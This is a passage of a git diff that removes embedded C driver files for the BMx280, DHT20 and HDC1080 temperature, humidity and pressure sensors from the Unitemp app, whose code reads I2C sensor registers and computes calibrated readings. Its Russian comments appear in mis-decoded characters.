- .updater = unitemp_BMx280_update}; - -//Интервал Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ°Ð»Ð¸Ð±Ñ€Ð¾Ð²Ð¾Ñ‡Ð½Ñ‹Ñ… значений -#define BOSCH_CAL_UPDATE_INTERVAL 60000 - -#define TEMP_CAL_START_ADDR 0x88 -#define PRESS_CAL_START_ADDR 0x8E -#define HUM_CAL_H1_ADDR 0xA1 -#define HUM_CAL_H2_ADDR 0xE1 - -#define BMP280_ID 0x58 -#define BME280_ID 0x60 - -#define BMx280_I2C_ADDR_MIN (0x76 << 1) -#define BMx280_I2C_ADDR_MAX (0x77 << 1) - -#define BMx280_REG_STATUS 0xF3 -#define BMx280_REG_CTRL_MEAS 0xF4 -#define BMx280_REG_CONFIG 0xF5 -#define BME280_REG_CTRL_HUM 0xF2 -//ПреддеÑÐºÑ€ÐµÑ‚Ð¸Ð·Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ -#define BMx280_TEMP_OVERSAMPLING_SKIP 0b00000000 -#define BMx280_TEMP_OVERSAMPLING_1 0b00100000 -#define BMx280_TEMP_OVERSAMPLING_2 0b01000000 -#define BMx280_TEMP_OVERSAMPLING_4 0b01100000 -#define BMx280_TEMP_OVERSAMPLING_8 0b10000000 -#define BMx280_TEMP_OVERSAMPLING_16 0b10100000 -//ПреддеÑÐºÑ€ÐµÑ‚Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ -#define BMx280_PRESS_OVERSAMPLING_SKIP 0b00000000 -#define BMx280_PRESS_OVERSAMPLING_1 0b00000100 -#define BMx280_PRESS_OVERSAMPLING_2 0b00001000 -#define BMx280_PRESS_OVERSAMPLING_4 0b00001100 -#define BMx280_PRESS_OVERSAMPLING_8 0b00010000 -#define BMx280_PRESS_OVERSAMPLING_16 0b00010100 -//ПреддеÑÐºÑ€ÐµÑ‚Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð²Ð»Ð°Ð¶Ð½Ð¾Ñти -#define BME280_HUM_OVERSAMPLING_SKIP 0b00000000 -#define BME280_HUM_OVERSAMPLING_1 0b00000001 -#define BME280_HUM_OVERSAMPLING_2 0b00000010 -#define BME280_HUM_OVERSAMPLING_4 0b00000011 -#define BME280_HUM_OVERSAMPLING_8 0b00000100 -#define BME280_HUM_OVERSAMPLING_16 0b00000101u -//Режимы работы датчика -#define BMx280_MODE_SLEEP 0b00000000 //ÐаелÑÑ Ð¸ Ñпит -#define BMx280_MODE_FORCED 0b00000001 //ОбновлÑет Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ 1 раз, поÑле чего уходит в Ñон -#define BMx280_MODE_NORMAL 0b00000011 //РегулÑрно обновлÑет Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ -//Период Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð² нормальном режиме -#define BMx280_STANDBY_TIME_0_5 0b00000000 -#define BMx280_STANDBY_TIME_62_5 0b00100000 -#define BMx280_STANDBY_TIME_125 0b01000000 -#define BMx280_STANDBY_TIME_250 0b01100000 -#define BMx280_STANDBY_TIME_500 0b10000000 -#define BMx280_STANDBY_TIME_1000 0b10100000 -#define BMx280_STANDBY_TIME_2000 0b11000000 -#define BMx280_STANDBY_TIME_4000 0b11100000 -//КоÑффициент фильтрации значений -#define BMx280_FILTER_COEFF_1 0b00000000 -#define BMx280_FILTER_COEFF_2 0b00000100 -#define BMx280_FILTER_COEFF_4 0b00001000 -#define BMx280_FILTER_COEFF_8 0b00001100 -#define BMx280_FILTER_COEFF_16 0b00010000 -//Разрешить работу по SPI -#define BMx280_SPI_3W_ENABLE 0b00000001 -#define BMx280_SPI_3W_DISABLE 0b00000000 - -static float BMx280_compensate_temperature(I2CSensor* i2c_sensor, int32_t adc_T) { - BMx280_instance* bmx280_instance = (BMx280_instance*)i2c_sensor->sensorInstance; - int32_t var1, var2; - var1 = ((((adc_T >> 3) - ((int32_t)bmx280_instance->temp_cal.dig_T1 << 1))) * - ((int32_t)bmx280_instance->temp_cal.dig_T2)) >> - 11; - var2 = (((((adc_T >> 4) - ((int32_t)bmx280_instance->temp_cal.dig_T1)) * - ((adc_T >> 4) - ((int32_t)bmx280_instance->temp_cal.dig_T1))) >> - 12) * - ((int32_t)bmx280_instance->temp_cal.dig_T3)) >> - 14; - bmx280_instance->t_fine = var1 + var2; - return ((bmx280_instance->t_fine * 5 + 128) >> 8) / 100.0f; -} - -static float BMx280_compensate_pressure(I2CSensor* i2c_sensor, int32_t adc_P) { - BMx280_instance* bmx280_instance = (BMx280_instance*)i2c_sensor->sensorInstance; - - int32_t var1, var2; - uint32_t p; - var1 = (((int32_t)bmx280_instance->t_fine) >> 1) - (int32_t)64000; - var2 = (((var1 >> 2) * (var1 >> 2)) >> 11) * ((int32_t)bmx280_instance->press_cal.dig_P6); - var2 = var2 + ((var1 * ((int32_t)bmx280_instance->press_cal.dig_P5)) << 1); - var2 = (var2 >> 2) + (((int32_t)bmx280_instance->press_cal.dig_P4) << 16); - var1 = (((bmx280_instance->press_cal.dig_P3 * (((var1 >> 2) * (var1 >> 2)) >> 13)) >> 3) + - ((((int32_t)bmx280_instance->press_cal.dig_P2) * var1) >> 1)) >> - 18; - var1 = ((((32768 + var1)) * ((int32_t)bmx280_instance->press_cal.dig_P1)) >> 15); - if(var1 == 0) { - return 0; // avoid exception caused by division by zero - } - p = (((uint32_t)(((int32_t)1048576) - adc_P) - (var2 >> 12))) * 3125; - if(p < 0x80000000) { - p = (p << 1) / ((uint32_t)var1); - } else { - p = (p / (uint32_t)var1) * 2; - } - var1 = (((int32_t)bmx280_instance->press_cal.dig_P9) * - ((int32_t)(((p >> 3) * (p >> 3)) >> 13))) >> - 12; - var2 = (((int32_t)(p >> 2)) * ((int32_t)bmx280_instance->press_cal.dig_P8)) >> 13; - p = (uint32_t)((int32_t)p + ((var1 + var2 + bmx280_instance->press_cal.dig_P7) >> 4)); - return p; -} - -static float BMx280_compensate_humidity(I2CSensor* i2c_sensor, int32_t adc_H) { - BMx280_instance* bmx280_instance = (BMx280_instance*)i2c_sensor->sensorInstance; - int32_t v_x1_u32r; - v_x1_u32r = (bmx280_instance->t_fine - ((int32_t)76800)); - - v_x1_u32r = - (((((adc_H << 14) - (((int32_t)bmx280_instance->hum_cal.dig_H4) << 20) - - (((int32_t)bmx280_instance->hum_cal.dig_H5) * v_x1_u32r)) + - ((int32_t)16384)) >> - 15) * - (((((((v_x1_u32r * ((int32_t)bmx280_instance->hum_cal.dig_H6)) >> 10) * - (((v_x1_u32r * ((int32_t)bmx280_instance->hum_cal.dig_H3)) >> 11) + - ((int32_t)32768))) >> - 10) + - ((int32_t)2097152)) * - ((int32_t)bmx280_instance->hum_cal.dig_H2) + - 8192) >> - 14)); - - v_x1_u32r = - (v_x1_u32r - (((((v_x1_u32r >> 15) * (v_x1_u32r >> 15)) >> 7) * - ((int32_t)bmx280_instance->hum_cal.dig_H1)) >> - 4)); - - v_x1_u32r = (v_x1_u32r < 0 ? 0 : v_x1_u32r); - v_x1_u32r = (v_x1_u32r > 419430400 ? 419430400 : v_x1_u32r); - return ((uint32_t)(v_x1_u32r >> 12)) / 1024.0f; -} - -static bool bmx280_readCalValues(I2CSensor* i2c_sensor) { - BMx280_instance* bmx280_instance = (BMx280_instance*)i2c_sensor->sensorInstance; - if(!unitemp_i2c_readRegArray( - i2c_sensor, TEMP_CAL_START_ADDR, 6, (uint8_t*)&bmx280_instance->temp_cal)) - return false; - - UNITEMP_DEBUG( - "Sensor BMx280 (0x%02X) T1-T3: %d, %d, %d", - i2c_sensor->currentI2CAdr, - bmx280_instance->temp_cal.dig_T1, - bmx280_instance->temp_cal.dig_T2, - bmx280_instance->temp_cal.dig_T3); - - if(!unitemp_i2c_readRegArray( - i2c_sensor, PRESS_CAL_START_ADDR, 18, (uint8_t*)&bmx280_instance->press_cal)) - return false; - - UNITEMP_DEBUG( - "Sensor BMx280 (0x%02X): P1-P9: %d, %d, %d, %d, %d, %d, %d, %d, %d", - i2c_sensor->currentI2CAdr, - bmx280_instance->press_cal.dig_P1, - bmx280_instance->press_cal.dig_P2, - bmx280_instance->press_cal.dig_P3, - bmx280_instance->press_cal.dig_P4, - bmx280_instance->press_cal.dig_P5, - bmx280_instance->press_cal.dig_P6, - bmx280_instance->press_cal.dig_P7, - bmx280_instance->press_cal.dig_P8, - bmx280_instance->press_cal.dig_P9); - - if(bmx280_instance->chip_id == BME280_ID) { - uint8_t buff[7] = {0}; - if(!unitemp_i2c_readRegArray(i2c_sensor, HUM_CAL_H1_ADDR, 1, buff)) return false; - bmx280_instance->hum_cal.dig_H1 = buff[0]; - - if(!unitemp_i2c_readRegArray(i2c_sensor, HUM_CAL_H2_ADDR, 7, buff)) return false; - bmx280_instance->hum_cal.dig_H2 = (uint16_t)(buff[0] | ((uint16_t)buff[1] << 8)); - bmx280_instance->hum_cal.dig_H3 = buff[2]; - bmx280_instance->hum_cal.dig_H4 = ((int16_t)buff[3] << 4) | (buff[4] & 0x0F); - bmx280_instance->hum_cal.dig_H5 = (buff[4] & 0x0F) | ((int16_t)buff[5] << 4); - bmx280_instance->hum_cal.dig_H6 = buff[6]; - - UNITEMP_DEBUG( - "Sensor BMx280 (0x%02X): H1-H6: %d, %d, %d, %d, %d, %d", - i2c_sensor->currentI2CAdr, - bmx280_instance->hum_cal.dig_H1, - bmx280_instance->hum_cal.dig_H2, - bmx280_instance->hum_cal.dig_H3, - bmx280_instance->hum_cal.dig_H4, - bmx280_instance->hum_cal.dig_H5, - bmx280_instance->hum_cal.dig_H6); - } - - bmx280_instance->last_cal_update_time = furi_get_tick(); - return true; -} -static bool bmp280_isMeasuring(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - return (bool)((unitemp_i2c_readReg(i2c_sensor, BMx280_REG_STATUS) & 0x08) >> 3); -} - -bool unitemp_BMx280_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - BMx280_instance* bmx280_instance = malloc(sizeof(BMx280_instance)); - if(bmx280_instance == NULL) { - FURI_LOG_E(APP_NAME, "Failed to allocation sensor %s instance", sensor->name); - return false; - } - - if(sensor->type == &BMP280) bmx280_instance->chip_id = BMP280_ID; - if(sensor->type == &BME280) bmx280_instance->chip_id = BME280_ID; - - i2c_sensor->sensorInstance = bmx280_instance; - - i2c_sensor->minI2CAdr = BMx280_I2C_ADDR_MIN; - i2c_sensor->maxI2CAdr = BMx280_I2C_ADDR_MAX; - return true; -} - -bool unitemp_BMx280_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - //Перезагрузка - unitemp_i2c_writeReg(i2c_sensor, 0xE0, 0xB6); - //Чтение ID датчика - uint8_t id = unitemp_i2c_readReg(i2c_sensor, 0xD0); - if(id != BMP280_ID && id != BME280_ID) { - FURI_LOG_E( - APP_NAME, - "Sensor %s returned wrong ID 0x%02X, expected 0x%02X or 0x%02X", - sensor->name, - id, - BMP280_ID, - BME280_ID); - return false; - } - - //ÐаÑтройка режимов работы - if(id == BME280_ID) { - unitemp_i2c_writeReg(i2c_sensor, BME280_REG_CTRL_HUM, BME280_HUM_OVERSAMPLING_1); - unitemp_i2c_writeReg( - i2c_sensor, BME280_REG_CTRL_HUM, unitemp_i2c_readReg(i2c_sensor, BME280_REG_CTRL_HUM)); - } - unitemp_i2c_writeReg( - i2c_sensor, - BMx280_REG_CTRL_MEAS, - BMx280_TEMP_OVERSAMPLING_2 | BMx280_PRESS_OVERSAMPLING_4 | BMx280_MODE_NORMAL); - //ÐаÑтройка периода опроÑа и фильтрации значений - unitemp_i2c_writeReg( - i2c_sensor, - BMx280_REG_CONFIG, - BMx280_STANDBY_TIME_500 | BMx280_FILTER_COEFF_16 | BMx280_SPI_3W_DISABLE); - //Чтение калибровочных значений - if(!bmx280_readCalValues(i2c_sensor)) { - FURI_LOG_E(APP_NAME, "Failed to read calibration values sensor %s", sensor->name); - return false; - } - return true; -} - -bool unitemp_BMx280_deinit(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - //Перевод в Ñон - unitemp_i2c_writeReg(i2c_sensor, BMx280_REG_CTRL_MEAS, BMx280_MODE_SLEEP); - return true; -} - -UnitempStatus unitemp_BMx280_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - BMx280_instance* instance = i2c_sensor->sensorInstance; - - uint32_t t = furi_get_tick(); - - uint8_t buff[3]; - //Проверка инициализированноÑти датчика - unitemp_i2c_readRegArray(i2c_sensor, 0xF4, 2, buff); - if(buff[0] == 0) { - FURI_LOG_W(APP_NAME, "Sensor %s is not initialized!", sensor->name); - return UT_SENSORSTATUS_ERROR; - } - - while(bmp280_isMeasuring(sensor)) { - if(furi_get_tick() - t > 100) { - return UT_SENSORSTATUS_TIMEOUT; - } - } - - if(furi_get_tick() - instance->last_cal_update_time > BOSCH_CAL_UPDATE_INTERVAL) { - bmx280_readCalValues(i2c_sensor); - } - - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xFA, 3, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t adc_T = ((int32_t)buff[0] << 12) | ((int32_t)buff[1] << 4) | ((int32_t)buff[2] >> 4); - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xF7, 3, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t adc_P = ((int32_t)buff[0] << 12) | ((int32_t)buff[1] << 4) | ((int32_t)buff[2] >> 4); - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xFD, 2, buff)) return UT_SENSORSTATUS_TIMEOUT; - int32_t adc_H = ((uint16_t)buff[0] << 8) | buff[1]; - sensor->temp = BMx280_compensate_temperature(i2c_sensor, adc_T); - sensor->pressure = BMx280_compensate_pressure(i2c_sensor, adc_P); - sensor->hum = BMx280_compensate_humidity(i2c_sensor, adc_H); - return UT_SENSORSTATUS_OK; -} - -bool unitemp_BMx280_free(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - free(i2c_sensor->sensorInstance); - return true; -} \ No newline at end of file diff --git a/applications/external/unitemp/sensors/BMx280.h b/applications/external/unitemp/sensors/BMx280.h deleted file mode 100644 index 32027f285..000000000 --- a/applications/external/unitemp/sensors/BMx280.h +++ /dev/null @@ -1,102 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_BMx280 -#define UNITEMP_BMx280 - -#include "../unitemp.h" -#include "../Sensors.h" -#include "../interfaces/I2CSensor.h" - -typedef struct { - uint16_t dig_T1; - int16_t dig_T2; - int16_t dig_T3; -} BMx280_temp_cal; - -typedef struct { - uint16_t dig_P1; - int16_t dig_P2; - int16_t dig_P3; - int16_t dig_P4; - int16_t dig_P5; - int16_t dig_P6; - int16_t dig_P7; - int16_t dig_P8; - int16_t dig_P9; -} BMx280_press_cal; - -typedef struct { - uint8_t dig_H1; - int16_t dig_H2; - uint8_t dig_H3; - int16_t dig_H4; - int16_t dig_H5; - int8_t dig_H6; -} BMx280_hum_cal; - -typedef struct { - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ - BMx280_temp_cal temp_cal; - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ - BMx280_press_cal press_cal; - //Калибровочные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð²Ð»Ð°Ð¶Ð½Ð¾Ñти воздуха - BMx280_hum_cal hum_cal; - //Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ñледнего Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ°Ð»Ð¸Ð±Ñ€Ð¾Ð²Ð¾Ñ‡Ð½Ñ‹Ñ… значений - uint32_t last_cal_update_time; - //Индификатор датчика - uint8_t chip_id; - //Корректировочное значение температуры - int32_t t_fine; -} BMx280_instance; - -extern const SensorType BMP280; -extern const SensorType BME280; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика BMP280 - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_BMx280_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика BMP280 - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_BMx280_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param sensor Указатель на датчик - */ -bool unitemp_BMx280_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð¿Ñ€Ð¾Ñа датчика - */ -UnitempStatus unitemp_BMx280_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * @param sensor Указатель на датчик - */ -bool unitemp_BMx280_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/DHT20.c b/applications/external/unitemp/sensors/DHT20.c deleted file mode 100644 index ce11fe3d6..000000000 --- a/applications/external/unitemp/sensors/DHT20.c +++ /dev/null @@ -1,154 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "DHT20.h" -#include "../interfaces/I2CSensor.h" - -const SensorType DHT20 = { - .typename = "DHT20", - .altname = "DHT20/AM2108/AHT20", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY, - .pollingInterval = 1000, - .allocator = unitemp_DHT20_I2C_alloc, - .mem_releaser = unitemp_DHT20_I2C_free, - .initializer = unitemp_DHT20_init, - .deinitializer = unitemp_DHT20_I2C_deinit, - .updater = unitemp_DHT20_I2C_update}; -const SensorType AHT10 = { - .typename = "AHT10", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY, - .pollingInterval = 1000, - .allocator = unitemp_DHT20_I2C_alloc, - .mem_releaser = unitemp_DHT20_I2C_free, - .initializer = unitemp_DHT20_init, - .deinitializer = unitemp_DHT20_I2C_deinit, - .updater = unitemp_DHT20_I2C_update}; - -static uint8_t DHT20_get_status(I2CSensor* i2c_sensor) { - uint8_t status[1] = {0}; - unitemp_i2c_readArray(i2c_sensor, 1, status); - return status[0]; -} - -static uint8_t DHT20_calc_CRC8(uint8_t* message, uint8_t Num) { - uint8_t i; - uint8_t byte; - uint8_t crc = 0xFF; - for(byte = 0; byte < Num; byte++) { - crc ^= (message[byte]); - for(i = 8; i > 0; --i) { - if(crc & 0x80) - crc = (crc << 1) ^ 0x31; - else - crc = (crc << 1); - } - } - return crc; -} - -static void DHT20_reset_reg(I2CSensor* i2c_sensor, uint8_t addr) { - uint8_t data[3] = {addr, 0x00, 0x00}; - - unitemp_i2c_writeArray(i2c_sensor, 3, data); - - furi_delay_ms(5); - - unitemp_i2c_readArray(i2c_sensor, 3, data); - - furi_delay_ms(10); - - data[0] = 0xB0 | addr; - unitemp_i2c_writeArray(i2c_sensor, 3, data); -} - -bool unitemp_DHT20_I2C_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0x38 << 1; - i2c_sensor->maxI2CAdr = (sensor->type == &DHT20) ? (0x38 << 1) : (0x39 << 1); - return true; -} - -bool unitemp_DHT20_I2C_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_DHT20_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - uint8_t data[3] = {0xA8, 0x00, 0x00}; - if(!unitemp_i2c_writeArray(i2c_sensor, 3, data)) return false; - furi_delay_ms(10); - data[0] = (sensor->type == &DHT20) ? 0xBE : 0xE1; - data[1] = 0x08; - if(!unitemp_i2c_writeArray(i2c_sensor, 3, data)) return false; - furi_delay_ms(10); - - return true; -} - -bool unitemp_DHT20_I2C_deinit(Sensor* sensor) { - //Ðечего деинициализировать - UNUSED(sensor); - return true; -} - -UnitempStatus unitemp_DHT20_I2C_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - if(DHT20_get_status(i2c_sensor) != 0x18) { - DHT20_reset_reg(i2c_sensor, 0x1B); - DHT20_reset_reg(i2c_sensor, 0x1C); - DHT20_reset_reg(i2c_sensor, 0x1E); - } - furi_delay_ms(10); - - uint8_t data[7] = {0xAC, 0x33, 0x00}; - if(!unitemp_i2c_writeArray(i2c_sensor, 3, data)) return UT_SENSORSTATUS_TIMEOUT; - furi_delay_ms(80); - uint32_t t = furi_get_tick(); - while(DHT20_get_status(i2c_sensor) == 0x80) { - if(furi_get_tick() - t > 10) return UT_SENSORSTATUS_TIMEOUT; - } - - if(!unitemp_i2c_readArray(i2c_sensor, 7, data)) return UT_SENSORSTATUS_TIMEOUT; - - if(DHT20_calc_CRC8(data, 6) != data[6]) { - return UT_SENSORSTATUS_BADCRC; - } - uint32_t RetuData = 0; - RetuData = (RetuData | data[1]) << 8; - RetuData = (RetuData | data[2]) << 8; - RetuData = (RetuData | data[3]); - RetuData = RetuData >> 4; - sensor->hum = RetuData * 100 * 10 / 1024.0f / 1024.0f / 10.0f; - - RetuData = 0; - RetuData = (RetuData | data[3]) << 8; - RetuData = (RetuData | data[4]) << 8; - RetuData = (RetuData | data[5]); - RetuData = RetuData & 0xfffff; - sensor->temp = (RetuData * 200 * 10.0f / 1024.0f / 1024.0f - 500) / 10.0f; - - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/DHT20.h b/applications/external/unitemp/sensors/DHT20.h deleted file mode 100644 index 417b0ed1d..000000000 --- a/applications/external/unitemp/sensors/DHT20.h +++ /dev/null @@ -1,63 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_DHT20 -#define UNITEMP_DHT20 - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType DHT20; -extern const SensorType AHT10; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика DHT20 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_DHT20_I2C_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика DHT20 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_DHT20_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_DHT20_I2C_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_DHT20_I2C_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_DHT20_I2C_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/HDC1080.c b/applications/external/unitemp/sensors/HDC1080.c deleted file mode 100644 index 5f2c59b24..000000000 --- a/applications/external/unitemp/sensors/HDC1080.c +++ /dev/null @@ -1,94 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "HDC1080.h" -#include "../interfaces/I2CSensor.h" - -const SensorType HDC1080 = { - .typename = "HDC1080", - .interface = &I2C, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 250, - .allocator = unitemp_HDC1080_alloc, - .mem_releaser = unitemp_HDC1080_free, - .initializer = unitemp_HDC1080_init, - .deinitializer = unitemp_HDC1080_deinit, - .updater = unitemp_HDC1080_update}; - -bool unitemp_HDC1080_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0x40 << 1; - i2c_sensor->maxI2CAdr = 0x40 << 1; - return true; -} - -bool unitemp_HDC1080_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_HDC1080_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - uint8_t data[2]; - if(!unitemp_i2c_readRegArray(i2c_sensor, 0xFF, 2, data)) return UT_SENSORSTATUS_TIMEOUT; - uint16_t device_id = ((uint16_t)data[0] << 8) | data[1]; - if(device_id != 0x1050) { - FURI_LOG_E( - APP_NAME, - "Sensor %s returned wrong ID 0x%02X, expected 0x1050", - sensor->name, - device_id); - return false; - } - data[0] = 0b0001000; - data[1] = 0; - //УÑтановка режима работы и разрÑдноÑти измерений - if(!unitemp_i2c_writeRegArray(i2c_sensor, 0x02, 2, data)) return UT_SENSORSTATUS_TIMEOUT; - - return true; -} - -bool unitemp_HDC1080_deinit(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - UNUSED(i2c_sensor); - return true; -} - -UnitempStatus unitemp_HDC1080_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - uint8_t data[2] = {0}; - //ЗапуÑк Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ - if(!unitemp_i2c_writeArray(i2c_sensor, 1, data)) return UT_SENSORSTATUS_TIMEOUT; - furi_delay_ms(10); - if(!unitemp_i2c_readArray(i2c_sensor, 2, data)) return UT_SENSORSTATUS_TIMEOUT; - - sensor->temp = ((float)(((uint16_t)data[0] << 8) | data[1]) / 65536) * 165 - 40; - - data[0] = 1; - if(!unitemp_i2c_writeArray(i2c_sensor, 1, data)) return UT_SENSORSTATUS_TIMEOUT; - furi_delay_ms(10); - if(!unitemp_i2c_readArray(i2c_sensor, 2, data)) return UT_SENSORSTATUS_TIMEOUT; - sensor->hum = ((float)(((uint16_t)data[0] << 8) | data[1]) / 65536) * 100; - - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/HDC1080.h b/applications/external/unitemp/sensors/HDC1080.h deleted file mode 100644 index 59ba0673c..000000000 --- a/applications/external/unitemp/sensors/HDC1080.h +++ /dev/null @@ -1,62 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If 